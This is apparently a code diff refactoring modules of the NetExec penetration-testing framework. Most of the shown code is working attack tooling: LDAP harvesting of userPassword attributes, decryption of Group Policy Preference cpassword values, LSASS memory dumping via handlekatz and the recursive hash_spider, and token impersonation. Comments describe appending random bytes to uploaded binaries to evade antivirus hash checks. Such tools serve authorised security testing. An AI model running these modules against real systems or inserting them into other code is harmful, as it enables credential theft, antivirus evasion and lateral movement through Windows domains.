def on_login(self, context, connection):
searchFilter = "(objectclass=user)"
searchFilter = "(unixUserPassword=*)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "unixUserPassword"],
sizeLimit=0,
@@ -37,27 +37,10 @@ class NXCModule:
nxc_logger.debug(e)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
unixUserPassword = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "unixUserPassword":
unixUserPassword = [str(i) for i in attribute["vals"]]
if sAMAccountName != "" and len(unixUserPassword) > 0:
answers.append([sAMAccountName, unixUserPassword])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(answers) > 0:
if resp:
resp_parsed = parse_result_attributes(resp)
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]} unixUserPassword: {answer[1]}")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} unixUserPassword: {user['unixUserPassword']}")
else:
context.log.fail("No unixUserPassword Found")
+9 -26
View File
@@ -1,6 +1,7 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
from nxc.helpers.misc import CATEGORY
from nxc.logger import nxc_logger
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
@@ -12,19 +13,18 @@ class NXCModule:
name = "get-userPassword"
description = "Get userPassword attribute from all users in ldap"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
"""
"""
def on_login(self, context, connection):
searchFilter = "(objectclass=user)"
searchFilter = "(userPassword=*)"
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "userPassword"],
sizeLimit=0,
@@ -37,27 +37,10 @@ class NXCModule:
nxc_logger.debug(e)
return False
answers = []
context.log.debug(f"Total of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ""
userPassword = []
try:
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "userPassword":
userPassword = [str(i) for i in attribute["vals"]]
if sAMAccountName != "" and len(userPassword) > 0:
answers.append([sAMAccountName, userPassword])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug(f"Skipping item, cannot process due to error {e!s}")
if len(answers) > 0:
if resp:
resp_parsed = parse_result_attributes(resp)
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(f"User: {answer[0]} userPassword: {answer[1]}")
for user in resp_parsed:
context.log.highlight(f"User: {user['sAMAccountName']} userPassword: {user['userPassword']}")
else:
context.log.fail("No userPassword Found")
+6 -5
View File
@@ -1,5 +1,7 @@
from datetime import datetime
from nxc.helpers.logger import write_log
from nxc.helpers.misc import CATEGORY
from nxc.paths import NXC_PATH
import json
@@ -13,15 +15,14 @@ class NXCModule:
name = "get_netconnections"
description = "Uses WMI to query network connections."
supported_protocols = ["smb", "wmi"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""No options"""
"""No options available"""
def on_admin_login(self, context, connection):
data = []
cards = connection.wmi("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
cards = connection.wmi_query("select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
if cards:
for c in cards:
if c["IPAddress"].get("value"):
@@ -31,4 +32,4 @@ class NXCModule:
log_name = f"network-connections-{connection.host}-{datetime.now().strftime('%Y-%m-%d_%H%M%S')}.log"
write_log(json.dumps(data), log_name)
context.log.display(f"Saved raw output to ~/.nxc/logs/{log_name}")
context.log.display(f"Saved raw output to {NXC_PATH}/logs/{log_name}")
+28 -33
View File
@@ -1,5 +1,6 @@
import xml.etree.ElementTree as ET
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -11,49 +12,43 @@ class NXCModule:
name = "gpp_autologin"
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
"""No options available."""
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for Registry.xml")
context.log.display("Searching SYSVOL share for Registry.xml")
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
xml_section = xml.findall(".//Properties")
xml_section = xml.findall(".//Properties")
for section in xml_section:
attrs = section.attrib
for section in xml_section:
attrs = section.attrib
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
if usernames or passwords:
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Usernames: {usernames}")
context.log.highlight(f"Domains: {domains}")
context.log.highlight(f"Passwords: {passwords}")
+60 -64
View File
@@ -3,6 +3,7 @@ from Cryptodome.Cipher import AES
from base64 import b64decode
from binascii import unhexlify
from io import BytesIO
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -14,88 +15,83 @@ class NXCModule:
name = "gpp_password"
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
""" """
"""No options available"""
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for potential XML files containing passwords")
context.log.display("Searching SYSVOL share for potential XML files containing passwords")
paths = connection.spider(
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
paths = connection.spider(
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
for path in paths:
context.log.display(f"Found {path}")
for path in paths:
context.log.display(f"Found {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
if "Groups.xml" in path:
sections.append("./User/Properties")
if "Groups.xml" in path:
sections.append("./User/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "ScheduledTasks.xml" in path:
sections.extend(("./Task/Properties", "./ImmediateTask/Properties", "./ImmediateTaskV2/Properties", "./TaskV2/Properties"))
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
password = self.decrypt_cpassword(props["cpassword"])
password = self.decrypt_cpassword(props["cpassword"])
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
context.log.success(f"Found credentials in {path}")
context.log.highlight(f"Password: {password}")
for k, v in props.items():
if k != "cpassword":
context.log.highlight(f"{k}: {v}")
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
def decrypt_cpassword(self, cpassword):
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
+234
View File
@@ -0,0 +1,234 @@
import re
from io import BytesIO
from impacket.ldap import ldap as ldap_impacket
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from nxc.helpers.misc import CATEGORY
from nxc.parsers.ldap_results import parse_result_attributes
class NXCModule:
"""
Module to retrieve privileges assigned via Group Policy Objects (GPOs) by parsing GptTmpl.inf files
and resolving SIDs using LDAP.
"""
name = "gpp_privileges"
description = "Extracts privileges assigned via GPOs and resolves SIDs via LDAP."
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
WELL_KNOWN_SIDS = {
"S-1-0": "Null Authority",
"S-1-0-0": "Nobody",
"S-1-1": "World Authority",
"S-1-1-0": "Everyone",
"S-1-2": "Local Authority",
"S-1-2-0": "Local",
"S-1-2-1": "Console Logon",
"S-1-3": "Creator Authority",
"S-1-3-0": "Creator Owner",
"S-1-3-1": "Creator Group",
"S-1-3-2": "Creator Owner Server",
"S-1-3-3": "Creator Group Server",
"S-1-3-4": "Owner Rights",
"S-1-5-80-0": "All Services",
"S-1-4": "Non-unique Authority",
"S-1-5": "NT Authority",
"S-1-5-1": "Dialup",
"S-1-5-2": "Network",
"S-1-5-3": "Batch",
"S-1-5-4": "Interactive",
"S-1-5-6": "Service",
"S-1-5-7": "Anonymous",
"S-1-5-8": "Proxy",
"S-1-5-9": "Enterprise Domain Controllers",
"S-1-5-10": "Principal Self",
"S-1-5-11": "Authenticated Users",
"S-1-5-12": "Restricted Code",
"S-1-5-13": "Terminal Server Users",
"S-1-5-14": "Remote Interactive Logon",
"S-1-5-15": "This Organization",
"S-1-5-17": "This Organization",
"S-1-5-18": "Local System",
"S-1-5-19": "NT Authority",
"S-1-5-20": "NT Authority",
"S-1-5-32-544": "Administrators",
"S-1-5-32-545": "Users",
"S-1-5-32-546": "Guests",
"S-1-5-32-547": "Power Users",
"S-1-5-32-548": "Account Operators",
"S-1-5-32-549": "Server Operators",
"S-1-5-32-550": "Print Operators",
"S-1-5-32-551": "Backup Operators",
"S-1-5-32-552": "Replicators",
"S-1-5-64-10": "NTLM Authentication",
"S-1-5-64-14": "SChannel Authentication",
"S-1-5-64-21": "Digest Authority",
"S-1-5-80": "NT Service",
"S-1-5-83-0": "NT VIRTUAL MACHINE\\Virtual Machines",
"S-1-16-0": "Untrusted Mandatory Level",
"S-1-16-4096": "Low Mandatory Level",
"S-1-16-8192": "Medium Mandatory Level",
"S-1-16-8448": "Medium Plus Mandatory Level",
"S-1-16-12288": "High Mandatory Level",
"S-1-16-16384": "System Mandatory Level",
"S-1-16-20480": "Protected Process Mandatory Level",
"S-1-16-28672": "Secure Process Mandatory Level",
"S-1-5-32-554": "BUILTIN\\Pre-Windows 2000 Compatible Access",
"S-1-5-32-555": "BUILTIN\\Remote Desktop Users",
"S-1-5-32-557": "BUILTIN\\Incoming Forest Trust Builders",
"S-1-5-32-556": "BUILTIN\\Network Configuration Operators",
"S-1-5-32-558": "BUILTIN\\Performance Monitor Users",
"S-1-5-32-559": "BUILTIN\\Performance Log Users",
"S-1-5-32-560": "BUILTIN\\Windows Authorization Access Group",
"S-1-5-32-561": "BUILTIN\\Terminal Server License Servers",
"S-1-5-32-562": "BUILTIN\\Distributed COM Users",
"S-1-5-32-569": "BUILTIN\\Cryptographic Operators",
"S-1-5-32-573": "BUILTIN\\Event Log Readers",
"S-1-5-32-574": "BUILTIN\\Certificate Service DCOM Access",
"S-1-5-32-575": "BUILTIN\\RDS Remote Access Servers",
"S-1-5-32-576": "BUILTIN\\RDS Endpoint Servers",
"S-1-5-32-577": "BUILTIN\\RDS Management Servers",
"S-1-5-32-578": "BUILTIN\\Hyper-V Administrators",
"S-1-5-32-579": "BUILTIN\\Access Control Assistance Operators",
"S-1-5-32-580": "BUILTIN\\Remote Management Users",
}
def options(self, context, module_options):
"""NO_LDAP If set to True, disables LDAP queries for resolving SIDs."""
self.no_ldap = module_options.get("NO_LDAP", False)
def on_login(self, context, connection):
self.context = context
try:
connection.conn.listPath("SYSVOL", "*")
except Exception as e:
self.context.log.fail(f"Failed to list shares: {e}")
return
self.context.log.display("Searching for GptTmpl.inf files")
paths = connection.spider("SYSVOL", pattern=["GptTmpl.inf"])
if not paths:
self.context.log.warning("No GptTmpl.inf files found in SYSVOL.")
return
for path in paths:
if "6AC1786C-016F-11D2-945F-00C04fB984F9" in path: # Default Domain Policy
self.context.log.success(f"Found Default Domain Policy GptTmpl.inf: {path}")
else:
self.context.log.info(f"Found GptTmpl.inf: {path}")
buf = BytesIO()
connection.conn.getFile("SYSVOL", path, buf.write)
try:
content = buf.getvalue().decode("utf-16le")
except UnicodeDecodeError as e:
self.context.log.error(f"Failed to decode {path} as UTF-16LE: {e}")
continue
privileges = self.extract_privileges(content)
if privileges:
ldap_connection = None
base_dn = None
if not self.no_ldap:
ldap_connection = self.initialize_ldap_connection(connection)
base_dn = self.get_basedn(ldap_connection)
self.context.log.success(f"Privileges extracted from {path}:")
for privilege, sids in privileges.items():
resolved_sids = [self.resolve_sid(sid, ldap_connection, base_dn) for sid in sids]
self.context.log.highlight(f"{privilege}: {', '.join(resolved_sids)}")
if ldap_connection:
ldap_connection.close()
def get_basedn(self, ldap_connection):
root = ldap_connection.search(
scope=ldapasn1_impacket.Scope("baseObject"),
attributes=["defaultNamingContext"],
sizeLimit=0,
)
return parse_result_attributes(root)[0]["defaultNamingContext"]
def extract_privileges(self, content):
"""Parses the content of GptTmpl.inf to extract privilege rights."""
privileges = {}
in_priv_section = False
for line in content.splitlines():
if line.strip() == "[Privilege Rights]":
in_priv_section = True
continue
if in_priv_section and line.strip() == "":
break
if in_priv_section:
match = re.match(r"^(.*?)\s*=\s*(.*)$", line)
if match:
privilege, sids = match.groups()
privileges[privilege] = [sid.strip("*") for sid in sids.split(",")]
return privileges
def initialize_ldap_connection(self, connection):
"""
Initializes an LDAP connection using impacket with LDAPS first, then falls back to plaintext LDAP if LDAPS fails.
Attempts to retrieve the base DN from the Root DSE or derive it from the domain name.
"""
ldap_connection = None
try:
ldap_connection = ldap_impacket.LDAPConnection(url=f"ldap://{connection.remoteName}", dstIp=connection.host)
if connection.kerberos:
ldap_connection.kerberosLogin(
connection.username,
connection.password or "",
connection.domain,
connection.lmhash,
connection.nthash,
connection.aesKey or "",
kdcHost=connection.kdcHost,
useCache=bool(connection.use_kcache),
)
else:
ldap_connection.login(
user=connection.username,
password=connection.password or "",
domain=connection.domain,
lmhash=connection.lmhash,
nthash=connection.nthash,
)
self.context.log.success("Connected to LDAP.")
except Exception as e:
self.context.log.fail(f"LDAP connection failed: {e}")
return None
return ldap_connection
def resolve_sid(self, sid, ldap_connection, base_dn):
"""Resolves a SID to a human-readable name using well-known mappings or LDAP queries."""
if sid in self.WELL_KNOWN_SIDS:
return self.WELL_KNOWN_SIDS[sid]
if ldap_connection:
try:
resp = ldap_connection.search(
searchBase=base_dn,
searchFilter=f"(objectSid={sid})",
attributes=["sAMAccountName"],
)
parsed_result = parse_result_attributes(resp)
if parsed_result and "sAMAccountName" in parsed_result[0]:
return f"{parsed_result[0]['sAMAccountName']}"
else:
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPSearchError:
self.context.log.warning(f"SID {sid} not found in LDAP. Returning raw SID.")
except ldap_impacket.LDAPFilterSyntaxError:
self.context.log.warning(f"Invalid LDAP filter syntax for SID {sid}. Returning raw SID.")
except Exception as e:
self.context.log.error(f"Failed while resolving SID {sid} via LDAP: {e}")
else:
self.context.log.warning(f"LDAP connection not established. Returning raw SID: {sid}")
return sid
+11 -5
View File
@@ -1,5 +1,6 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -11,15 +12,17 @@ class NXCModule:
"""
name = "group-mem"
description = "Retrieves all the members within a Group"
description = "[REMOVED] Retrieves all the members within a Group"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = False
category = CATEGORY.ENUMERATION
primaryGroupID = ""
answers = []
def options(self, context, module_options):
"""
r"""
[REMOVED] Use the ldap flag '--groups "Administrators"' instead of the module group-mem.
group-mem: Specify group-mem to call the module
GROUP: Specify the GROUP option to query for that group's members
Usage: nxc ldap $DC-IP -u Username -p Password -M group-mem -o GROUP="domain admins"
@@ -34,6 +37,9 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
context.log.fail("[REMOVED] Use the ldap flag '--groups \"Administrators\"' instead of the module group-mem.")
return None
# First look up the SID of the group passed in
search_filter = "(&(objectCategory=group)(cn=" + self.GROUP + "))"
attribute = "objectSid"
@@ -68,7 +74,7 @@ class NXCModule:
def do_search(self, context, connection, searchFilter, attributeName):
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
resp = connection.ldap_connection.search(searchFilter=searchFilter, attributes=[attributeName], sizeLimit=0)
context.log.debug(f"Total number of records returned {len(resp)}")
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
+3 -3
View File
@@ -1,6 +1,7 @@
from impacket.ldap import ldapasn1 as ldapasn1_impacket
from impacket.ldap import ldap as ldap_impacket
import sys
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -15,8 +16,7 @@ class NXCModule:
name = "groupmembership"
description = "Query the groups to which a user belongs."
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
"""USER Choose a username to query group membership"""
@@ -37,7 +37,7 @@ class NXCModule:
try:
context.log.debug(f"Search Filter={searchFilter}")
resp = connection.ldapConnection.search(
resp = connection.ldap_connection.search(
searchFilter=searchFilter,
attributes=["memberOf", "primaryGroupID"],
sizeLimit=0,
+29 -24
View File
@@ -5,17 +5,17 @@
import base64
import re
import sys
from datetime import datetime
from nxc.helpers.bloodhound import add_user_bh
import pypykatz
from nxc.helpers.misc import CATEGORY
from pypykatz.pypykatz import pypykatz
class NXCModule:
name = "handlekatz"
description = "Get lsass dump using handlekatz64 and parse the result with pypykatz"
supported_protocols = ["smb"]
opsec_safe = False
multiple_hosts = True
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
r"""
@@ -34,6 +34,8 @@ class NXCModule:
self.handlekatz_path = "/tmp/"
self.dir_result = self.handlekatz_path
self.useembeded = True
# Add some random binary data to defeat AVs which check the file hash
self.handlekatz_embeded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "HANDLEKATZ_PATH" in module_options:
self.handlekatz_path = module_options["HANDLEKATZ_PATH"]
@@ -50,7 +52,7 @@ class NXCModule:
def on_admin_login(self, context, connection):
handlekatz_loc = self.handlekatz_path + self.handlekatz
if self.useembeded:
try:
with open(handlekatz_loc, "wb") as handlekatz:
@@ -78,6 +80,7 @@ class NXCModule:
if not p or p == "None":
context.log.fail("Failed to execute command to get LSASS PID")
self.delete_handlekatz_binary(connection, context)
return
# we get a CSV string back from `tasklist`, so we grab the PID from it
pid = p.split(",")[1][1:-1]
@@ -96,12 +99,15 @@ class NXCModule:
context.log.fail("Process lsass.exe error un dump, try with verbose")
dump = False
if dump:
if not dump:
self.delete_handlekatz_binary(connection, context)
return
else:
regex = r"([A-Za-z0-9-]*\.log)"
matches = re.search(regex, str(p), re.MULTILINE)
if not matches:
context.log.display("Error getting the lsass.dmp file name")
sys.exit(1)
return
machine_name = matches.group()
context.log.display(f"Copy {machine_name} to host")
@@ -113,32 +119,24 @@ class NXCModule:
except Exception as e:
context.log.fail(f"Error while get file: {e}")
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
self.delete_handlekatz_binary()
try:
connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting lsass.dmp file on share {self.share}: {e}")
h_in = open(self.dir_result + machine_name, "rb") # noqa: SIM115
h_out = open(self.dir_result + machine_name + ".decode", "wb") # noqa: SIM115
with open(self.dir_result + machine_name, "rb") as h_in, open(self.dir_result + machine_name + ".decode", "wb") as h_out:
bytes_in = bytearray(h_in.read())
bytes_in = bytearray(h_in.read())
bytes_in_len = len(bytes_in)
context.log.display(f"Deobfuscating, this might take a while (size: {len(bytes_in)} bytes)")
context.log.display(f"Deobfuscating, this might take a while (size: {bytes_in_len} bytes)")
chunks = [bytes_in[i: i + 1000000] for i in range(0, len(bytes_in), 1000000)]
for chunk in chunks:
for i in range(len(chunk)):
chunk[i] ^= 0x41
chunks = [bytes_in[i: i + 1000000] for i in range(0, bytes_in_len, 1000000)]
for chunk in chunks:
for i in range(len(chunk)):
chunk[i] ^= 0x41
h_out.write(bytes(chunk))
h_out.write(bytes(chunk))
with open(self.dir_result + machine_name + ".decode", "rb") as dump:
try:
@@ -182,3 +180,10 @@ class NXCModule:
add_user_bh(credz_bh, None, context.log, connection.config)
except Exception as e:
context.log.fail(f"Error opening dump file: {e}")
def delete_handlekatz_binary(self, connection, context):
try:
connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
context.log.success(f"Deleted handlekatz file on the {self.share} share")
except Exception as e:
context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
+6 -10
View File
@@ -8,6 +8,7 @@ from lsassy.dumper import Dumper
from lsassy.parser import Parser
from lsassy.session import Session
from lsassy.impacketfile import ImpacketFile
from nxc.helpers.misc import CATEGORY
credentials_data = []
found_users = []
@@ -70,11 +71,7 @@ def create_db(local_admins, dbconnection, cursor):
def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
if connection.args.local_auth:
context.log.extra["host"] = connection.conn.getServerDNSDomainName()
else:
context.log.extra["host"] = connection.domain
context.log.extra["hostname"] = connection.host.upper()
domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
for result in credentials_data:
username = result["username"].upper().split("@")[0]
nthash = result["nthash"]
@@ -85,7 +82,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
"UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
[password],
)
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
username = f"{username.upper()}@{domain.upper()}"
dbconnection.commit()
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -99,7 +96,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
[nthash],
)
dbconnection.commit()
username = f"{username.upper()}@{context.log.extra['host'].upper()}"
username = f"{username.upper()}@{domain.upper()}"
session = driver.session()
session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
@@ -134,8 +131,7 @@ class NXCModule:
name = "hash_spider"
description = "Dump lsass recursively from a given hash using BH to find local admins"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -202,7 +198,7 @@ class NXCModule:
if file is None:
context.log.fail("Unable to dump lsass")
return False
credentials, tickets, masterkeys = Parser(file).parse()
credentials, tickets, masterkeys = Parser(host, file).parse()
file.close()
ImpacketFile.delete(session, file.get_file_path())
if credentials is None:
+53
View File
@@ -0,0 +1,53 @@
from impacket.dcerpc.v5.rpcrt import DCERPCException
from impacket.dcerpc.v5 import rrp
from impacket.examples.secretsdump import RemoteOperations
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""Module by @joaovarelas"""
name = "hyperv-host"
description = "Performs a registry query on the VM to lookup its HyperV Host"
supported_protocols = ["smb"]
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
def options(self, context, module_options):
""""""
def on_admin_login(self, context, connection):
self.context = context
path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
key = "HostName"
try:
remote_ops = RemoteOperations(connection.conn, False)
remote_ops.enableRegistry()
ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
reg_handle = ans["phKey"]
# Query
try:
ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
key_handle = ans["phkResult"]
data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
self.context.log.highlight(f"{key}: {reg_value}")
rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
except DCERPCException as e:
self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
except DCERPCException as e:
self.context.log.fail(f"DCERPC Error while querying registry: {e}")
except Exception as e:
self.context.log.fail(f"Error while querying registry: {e}")
finally:
remote_ops.finish()
+5 -6
View File
@@ -1,3 +1,6 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Checks for credentials in IIS Application Pool configuration files using appcmd.exe.
@@ -8,14 +11,10 @@ class NXCModule:
name = "iis"
description = "Checks for credentials in IIS Application Pool configuration files using appcmd.exe"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def __init__(self):
pass
category = CATEGORY.CREDENTIAL_DUMPING
def options(self, context, module_options):
pass
"""No options available"""
def on_admin_login(self, context, connection):
self.check_appcmd(context, connection)
+9 -4
View File
@@ -6,7 +6,8 @@
from base64 import b64decode
from os import path
import sys
from datetime import datetime
from nxc.helpers.misc import CATEGORY
from nxc.paths import DATA_PATH
@@ -14,8 +15,7 @@ class NXCModule:
name = "impersonate"
description = "List and impersonate tokens to run command as locally logged on users"
supported_protocols = ["smb"]
opsec_safe = True # could be flagged
multiple_hosts = True
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
@@ -29,8 +29,13 @@ class NXCModule:
self.impersonate = "Impersonate.exe"
self.useembeded = True
self.token = self.cmd = ""
with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
self.impersonate_embedded = b64decode(impersonate_file.read())
# Add some random binary data to defeat AVs which check the file hash
self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
if "EXEC" in module_options:
self.cmd = module_options["EXEC"]
@@ -96,7 +101,7 @@ class NXCModule:
context.log.fail("Invalid token ID submitted")
except Exception as e:
context.log.fail(f"Error runing command: {e}")
context.log.fail(f"Error running command: {e}")
finally:
try:
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.impersonate}")
+2 -2
View File
@@ -1,14 +1,14 @@
from impacket.dcerpc.v5 import rrp
from impacket.dcerpc.v5 import scmr
from impacket.examples.secretsdump import RemoteOperations
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "install_elevated"
description = "Checks for AlwaysInstallElevated"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def options(self, context, module_options):
""" """
+32 -24
View File
@@ -1,42 +1,50 @@
# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
# Airbus CERT
# module by @mpgn_x64
# updated by @NeffIsBack
from ipaddress import ip_address
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE
from impacket.dcerpc.v5.dcomrt import IObjectExporter
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
from impacket.dcerpc.v5.dcomrt import IObjectExporter, IID_IObjectExporter
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
name = "ioxidresolver"
